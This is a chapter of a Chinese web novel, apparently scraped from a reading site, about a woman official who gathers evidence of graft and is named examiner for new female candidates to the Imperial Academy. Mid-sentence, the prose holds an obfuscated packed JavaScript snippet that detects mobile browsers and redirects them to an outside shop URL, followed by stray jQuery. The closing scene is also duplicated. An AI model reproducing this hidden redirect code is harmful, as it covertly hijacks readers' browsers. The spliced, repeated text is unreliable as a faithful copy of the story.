默认冷灰
24号文字
方正启体

31. 破土

作者:周末慢生活本书字数:K更新时间:
    工部后堂的窗格将午后的光切成方块,投在青砖地上。


    周安邦就坐在光影交界处,手指无意识地摩挲着账册边缘——明昭进门时捕捉到这个细节。


    “明主事稀客。”他眼皮未抬,“演武堂诸事繁忙,怎有空来清水衙门?”


    “下官不敢称忙。”


    明昭坐了半边椅子,恭敬奉上文书,“演武堂营建涉及工料,有几处账目疑惑,特来请教。”


    周安邦接过文书随手搁下,端茶慢饮。


    明昭等他放下茶盏,才缓缓开口:“下官查了近三年石料底单。”


    “‘大青石’一项,永丰十六年采自房山,每方一两二钱;十七年转采西山,涨至一两五钱;去年景和元年,又回采房山,却成一两八钱。”


    她顿了顿:“房山的石头,隔年再采,每方贵六钱。下官愚钝,不知是石料真有天差地别,还是另有说法?”


    周安邦的手指在账册上轻敲一下。


    “明主事初涉工务有所不知。”


    他声音平稳,“石料价格看开采难度、运输损耗、石材质地。同一石场不同矿层,价差一倍也正常。账面数目都是层层核验过的,绝无问题。”


    “原来如此。”


    明昭点头,又取出一张纸,“那下官还有一处不解。去岁修洛水东岸三码头,‘人工’列支三千五百两。可漕运稽核所留存的力夫签领记录,实发不到两千两。”


    她抬眼:“余下一千五百两,用于何处‘人工’?”


    周安邦笑容淡了。


    茶盏搁在桌上,清脆一响。


    “明主事,工部账目自有章程。你兵部演武堂核查武备营建,工钱发放细目……似乎不在职权之内?”


    “下官明白。”


    明昭取出羊脂玉扣,轻轻放在桌上。


    玉质温润,“景和”二字清晰。


    “所以下官今日,非以兵部主事身份前来。”


    她声音轻而清晰,“而是奉宸王殿下之命,向周郎中请教——关于工部,关于漕运,也关于曹尚书。”


    周安邦呼吸一滞。


    他盯着玉扣良久,忽然笑了,笑意未达眼底:


    “宸王殿下真是有心了。只是明大人,有些事知道太多,未必是福。”


    “下官也常听人说,糊涂是福。”


    明昭迎着他目光,“可若人人都求糊涂福,河堤谁修?漕粮谁运?边关城墙谁守?”


    她微微前倾,声音压低却穿透:“周郎中,今日我不是要掀桌子。是有人把桌子腿蛀空了,眼看要塌——坐在桌边的人,是等着一起摔,还是趁早换个地方坐?”


    周安邦沉默。


    铜漏滴水,一滴,又一滴。


    窗外鸟鸣清脆,衬得室内死寂。


    良久,他长长吐气,肩膀垮塌一丝。


    “明姑娘,”他改了称呼,声音疲惫,“你可知今日走出这间屋子,会有多少双眼睛盯着你?兵部、户部、礼部……甚至你演武堂里,都可能有……”


    他没说完。


    明昭心口微沉。


    她料到工部有曹璋的人,却未想六部处处耳目。


    “下官明白。”


    她声音依旧平静,“所以更需要周郎中这样的人,愿在桌子塌前,说几句真话。”


    周安邦看着她年轻沉静的脸,眼中掠过挣扎、恐惧,还有一丝久违的愧意。


    他从抽屉深处摸出一本薄薄的私册,按在掌心。


    “老夫有个问题。”


    他抬眼,“若我交出此物,殿下……可能保我一家老小平安离京?”


    明昭心头一凛。这是托付性命。


    “下官不敢代王爷许诺。”


    她如实道,“但下官知道,王爷从不辜负真心投效之人。且这京城虽大,能彻底避开曹尚书耳目的去处,恐怕不多。留在殿下能照拂之处,或许……更安全。”


    周安邦沉默片刻,将私册推出。


    “这是老夫私下记的。”


    他声音干涩,“三年间经我手批复、与漕运相关的工项,凡有猫腻的都在。哪些料以次充好,哪些款虚报冒领,哪些仓是空的。”


    他指尖按在册上,加重力道:“其中三处朱笔圈了,牵扯的……不止工部。”


    明昭心头一冷。


    不止工部。


    她想起谢寻说的“换整块木板”,想起周安邦说的“处处耳目”。


    “周郎中今日之言,下官铭记。”她收册郑重一礼。


    离开工部时,日影西斜。


    明昭没回兵部,马车拐向漕运稽核所。


    旧军械库里,谢寻伤好了些,正听韩校尉禀报。


    见明昭进来,他挥手让人退下。


    “如何?”


    明昭简述经过,说到“朱笔圈注、不止工部”时,谢寻眉头深皱。


    他翻看私册,停在朱笔圈注那几页,良久。


    “周安邦说得对。”


    他合上册子,“光拔钉子没用,得换整块木板。不,得把造木板的人都换换。”


    他看向明昭,“江湖上我清理门户,扶自己人上位,至少能见血听响。可朝堂上……那些位置机会都被把持着。有才干的年轻人,要么同流合污,要么被打压排挤,要么……像你当初被贬去教书。”


    这话说进明昭心坎。


    她想起国子监里困守一隅的同窗,想起柳如眉、沈沅在规则缝隙中求存。


    “得让更多人上来。”


    她轻声却坚定,“像周安邦这样还有良知的人,需要知道他们不是孤军奋战。底层有抱负的年轻人,需要看到希望,需要……一条往上走的路。”


    谢寻点头:“江湖的路,我来铺。”


    “这几日已让韩校尉去物色人选——”


    “在几个大码头先设‘识字堂’,请落魄的老秀才来教漕工子弟认字算数。里头发现有灵性、肯吃苦的苗子,便提到各堂口做文书、学账目,不能再让管事的位子都被些尸位素餐的关系户把着。”


    他顿了顿,声音更沉:“朝堂的路……得靠那位王爷。”


    “但咱们底下把地基打实了,他上面盖楼,也稳当些。”


    两日后,醉仙楼密室。


    明昭禀报完毕,闻渡指节轻叩桌面。


    “周安邦聪明,知道何时押注。”


    他缓缓道,“这东西有用,但不够——只能动曹璋皮毛,伤不了筋骨。”


    他抬眼看向明昭:“但你们说的,让更多年轻人进朝堂,尤其是女子……”


    他顿了顿,“国子监正学院今年扩招,原定增收三十人,现增至五十人。其中女子面试名额,从五个增至十五个。”


    明昭心头一震。


    十五个。至少十五个像当年的她,有机会越过门槛。


    “王爷……”


    “不必谢我。”


    闻渡抬手,“这是早就该做的事。”


    “永徽朝开女子入仕之途,至今三朝成效寥寥。不是女子无能,是路太窄门太窄。”


    他走到窗边望出去,“曹璋之流能织成大网,正因他们垄断上升之阶,让寒门、女子、所有不合心意的人永无出头之日。他们要的不是几个贪官位置,而是一整套……能把人摁在底层的规矩。”


    他转身,目光如深潭:“为此事,监内老博士已与本王争论半月,礼部递了三道折子反对。”


    “但有些规矩,该破就得破。”


    “明昭,你要破的不是曹璋一人。是他背后运转数十年的规则。”


    “破规则最好的办法不是拆毁,而是……建立新规则。”


    “让更多女子走进国子监,让更多寒门学子握住笔杆算筹,让朝堂上响起不同声音——这才是真正的‘破局’。”


    明昭怔怔看着他。


    这一刻她清晰意识到,眼前这人目光所及,从来不止一案一吏一朝一夕。


    他要重塑时代骨骼。


    “学生明白。”她深深一礼。


    闻渡颔首:“周安邦那边继续接触。墙已有裂缝,该让裂缝蔓延了。”


    “是。”


    明昭应下欲退,闻渡忽道:“等等。”


    他取出扁木匣推来。


    明昭打开,里面是一套文房四宝——紫狼毫、黑墨锭、青灰砚、素白笺。不名贵,但样样精致合用。


    “这是……”


    “国子监扩招面试下月开始。”


    闻渡声音平淡,“监内几位博士联名举荐,邀你做副考官之一。”


    明昭愣住。


    副考官。


    她将亲自决定哪些女子获得那十五个机会。


    “王爷,我……”


    “不必推辞。”


    闻渡看着她,眼中闪过一丝极淡的、几乎难以察觉的笑意。


    “让你去不是徇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338620|199287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    私。你以兵部主事、女子之身参与学政,难免引人注目,甚或非议。但正因如此,才需要你去。”


    他顿了顿,语气转为沉肃:“届时场内,或有考官搬出‘女子德容言工’的旧尺,质疑女子纵有才学是否堪当大任;场外,也必有人借你身份做文章,说你无非是靠着‘裙带’与‘运气’才坐于此位。”


    “这些声音,你无须争辩。”


    闻渡的目光定在她脸上,清晰如刻,“你的笔锋,你的评判,你择出的每一份考卷——那便是新规矩。”


    “要让人知道,今日坐在这里的女子,凭的是策论里的真见识,算学中的硬功夫,是胸中有丘壑、笔下能安邦的实实在在的本事。”


    “面试场上,只看才学,不问出身。”


    “这便是你要替朝廷、也替天下女子立下的铁律。”


    这话平静,却如惊雷炸开。


    并肩而立,共担风雨。


    她忽然想起谢寻说的“将来能站在你身边的人——”


    想起自己在浊浪中的挣扎坚持。


    原来他一直都懂。


    懂她抱负,更懂她孤独,懂她需要同道。


    “学生……”她喉头微哽,深深一躬,“定不负所托。”


    国子监扩招与女子名额增设的消息,像石子投入涟漪不断的湖水。


    原本“才子佳人”的闲谈悄然变调。


    茶楼酒肆里,有人意味深长:


    “听闻这次扩招是某位殿下力排众议。”


    “如此关照女子进学,当真……用心良苦。”


    文会间隙,则有人摇头:


    “苏姑娘那样真正的才女,尚且要一步步凭学问得人敬重。”


    “如今有些人,怕不是仗着几分机敏、攀了些门路,就真以为能替天下女子立规矩了?”


    更有甚者将两事并提:


    “说来也巧,这边刚传殿下与苏姑娘知音难觅,那边就有女子要大批入监。”


    “莫不是……有人觉得自己位置不稳,急着要扶植些‘自己人’?”


    这议论传到赵成耳中,他脸色铁青地禀报时,还补了一句更刺耳的:


    “昨日在贡院外茶摊,几个等放榜的落第秀才喝多了,拍着桌子骂……”


    “说‘一下划走十五个名额,让我等寒窗十年的爷们儿何处容身?”


    “难不成往后科场,也要学那妇人争胭脂水粉的排场?”


    赵成声音发涩:“姑娘,这话……腌臜透了。”


    这些话从不指名道姓,却像生脚毒虫,钻进行辕衙署,飘进明昭途经的廊下,落入她偶尔听见的“窃窃私语”。


    她握考官名册的手指微紧,面上无波。


    原来这就是“困刀”。


    不必真伤你,只需让你周遭空气越来越黏稠,让每个看向你的眼神都掺杂审视揣度,让你每走一步都要先挣脱无数无形丝线。


    而她能做的,就是握紧手中那杆笔,把即将到来的面试变成最锋利的刀——


    不是砍向谁,而是斩断这些缠绕不休的丝线。


    再次抱着木匣走出醉仙楼时,暮色沉沉。


    明昭心中却亮起一盏灯。


    那光不炽烈,却足够温暖明亮,照亮脚下荆棘丛生却方向清晰的路。


    她知道,从这一刻起,她不再仅仅是“破局者”。


    她正在成为“筑路者”。


    而这条路开端,就在下月国子监那间即将坐满年轻女子的面试堂。


    马车辘辘驶过长安街。


    车厢里,明昭轻抚木匣光滑表面,指尖触及冰凉砚台,心底滚烫,肩头却沉了沉。


    这沉不是压力,是重量——


    推开一扇门后,所见是更漫长走廊,与无数双在门后期盼的眼睛。


    车厢里,明昭轻轻抚过木匣光滑的表面,指尖触及冰凉的砚台,心底滚烫。


    那滚烫之下,是一种前所未有的沉实感——


    像一方新墨在砚中缓缓化开,越研越浓,越浓越沉。


    这沉,不是背负,而是注入。


    从此她笔下的每一画,都将带着为后来者研墨开锋的重量。


    她忽然很想立刻见到柳如眉、沈沅、赵月儿——


    她想告诉她们,路或许还很长,但门正在一扇扇打开。


    而她们每一个人,都可以成为推开下一扇门的人。


    ------
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)